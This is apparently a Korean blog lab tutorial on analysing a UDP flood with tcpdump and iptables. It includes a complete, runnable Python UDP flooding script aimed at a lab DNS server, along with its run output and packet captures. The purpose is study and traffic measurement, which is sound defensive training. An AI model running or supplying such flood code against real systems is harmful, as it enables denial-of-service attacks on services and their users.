Linux/보안장비 운용

tcpdump 를 이용한 패킷 분석 2

GGkeeper 2022. 3. 10. 14:36

실습> tcpdump를 이용한 패킷 분석 2

1. 공격 코드 작성
Attacker ~# vi udpflood.py 
#!/usr/bin/env python3

# 모듈 사용 
import socket
import random

# 배너
print("#################")
print("# UDP flooding  #")
print("#################")

# UDP 통신을 할 수 있는 소켓을 생성한다.
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

# 랜덤으로 숫자를 넣는다.
bytes = random._urandom(1024)

# IP/Port 를 입력 받는다.
#ip = input('Victim IP: ')
#port = int(input('Port: '))
ip = '192.168.108.254'
port = int('53')

# 무한루프로 IP/Port 접속
# Ctrl + C 를 누르면 종료
# 예외처리 
try:
    print('UDP 패킷 전송중 ...')
    sent = 1
    while 1:
        sock.sendto(bytes,(ip,port))
        sent += 1
        print(f' sent packets: {sent}개\r', end='')
except:
    print()

2. 패킷 분석
Victim ~# tcpdump -nn -i ens33 udp port 53

3. 공격 시도
Attacker ~# chmod 755 udpflood.py 
Attacker ~# time ./udpflood.py 
#################
# UDP flooding  #
#################
UDP 패킷 전송중 ...
^C sent packets: 50488개

real 0m2.891s
user 0m0.400s
sys 0m2.540s

4. 패킷 분석
Victim ~# tcpdump -nn -i ens33 udp port 53
  :
  :(생략)
16:19:56.335041 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335146 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335218 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335373 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335533 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419877 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419907 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419909 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419911 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419912 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]

5. 패킷 저장 및 분석
ens33 인터페이스로 들어오는 목적지가 udp 53번 포트이면 udpflooding.pcap 파일로 저장한다.
Victim ~# tcpdump -w /var/www/html/udpflooding.pcap -i ens33 udp port 53

Attacker ~# date; time ./udpflood.py 

Attacker ~# while :
do
  date 
  sleep 1
  clear
done

Attacker ~# date; time ./udpflood.py 
#################
# UDP flooding  #
#################
UDP 패킷 전송중 ...
^Cent packets: 2650278개

real 2m3.321s
user 0m11.755s
sys 1m51.143s

Victim ~# tcpdump -w /var/www/html/udpflooding.pcap -i ens33 udp port 53
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C154019 packets captured
325231 packets received by filter
171212 packets dropped by kernel

다운로드 받아서 와이어 샤크로 확인한다.
http://victim/udpflooding.pcap


6. 패킷 수 확인
패킷의 저장된 개수와 패킷 전송 개수가 다르므로 iptables에서 들어오는 패킷의 개수를 확인할 수 있도록 설정한다.
Victim ~# iptables -A INPUT -p udp --dport 53 -j ACCEPT
Victim ~# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 63 packets, 3744 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:53

시간을 측정해서 2분 동안 udp 패킷을 전송한다.
Attacker ~# date; time ./udpflood.py 

Attacker ~# while :
do
  date 
  sleep 1
  clear
done

2분 후에 Ctrl + C로 프로그램을 종료하면 UDP 패킷이 3095125개가 전송된 것을 확인할 수 있다.
Attacker ~# date; time ./udpflood.py 
Tue Mar  8 02:52:47 AM EST 2022
#################
# UDP flooding  #
#################
UDP 패킷 전송중 ...
^Cent packets: 3095125개

real 2m2.083s
user 0m9.035s
sys 1m52.431s

iptables에서 패킷 수를 확인한다. 확인한다.
Victim ~# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 131 packets, 7868 bytes)
 pkts bytes target     prot opt in     out     source               destination         
3095K 3256M ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:53

Attacker ~# python3 -c 'print(1024 * 3095)'
3169280

전송된 패킷 개수를 확인하기 -nvvL 옵션을 사용한다.
Victim# iptables -nvvL INPUT
Chain INPUT (policy ACCEPT 208 packets, 13240 bytes)
 pkts bytes target     prot opt in     out     source               destination         
3095K 3256M ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:53
libiptc vlibxtables.so.10. 832 bytes.
Table `filter'
Hooks: pre/in/fwd/out/post = ffffffff/0/160/1f8/ffffffff
Underflows: pre/in/fwd/out/post = ffffffff/c8/160/1f8/ffffffff
Entry 0 (0):
SRC IP: 0.0.0.0/0.0.0.0
DST IP: 0.0.0.0/0.0.0.0
Interface: `'/................to `'/................
Protocol: 17
Flags: 00
Invflags: 00
Counters: 3095125 packets, 3256071500 bytes   <-- 3095125 가 위에서 패킷을 전송한 개수와 동일하다.
Cache: 00000000
Match name: `udp'
Target name: `' [40]
verdict=NF_ACCEPT
  :
  :(생략)

'Linux > 보안장비 운용' 카테고리의 다른 글

nginx 엔진 엑스  (0) 2022.03.13
ROUTER 이중화 VRRP 설정하기  (0) 2022.03.10
tcpdump 를 이용한 패킷 분석  (0) 2022.03.10
웹서버 파일에 백도어  (0) 2022.03.08
HTTP 환경변수 로그 남기기  (0) 2022.03.08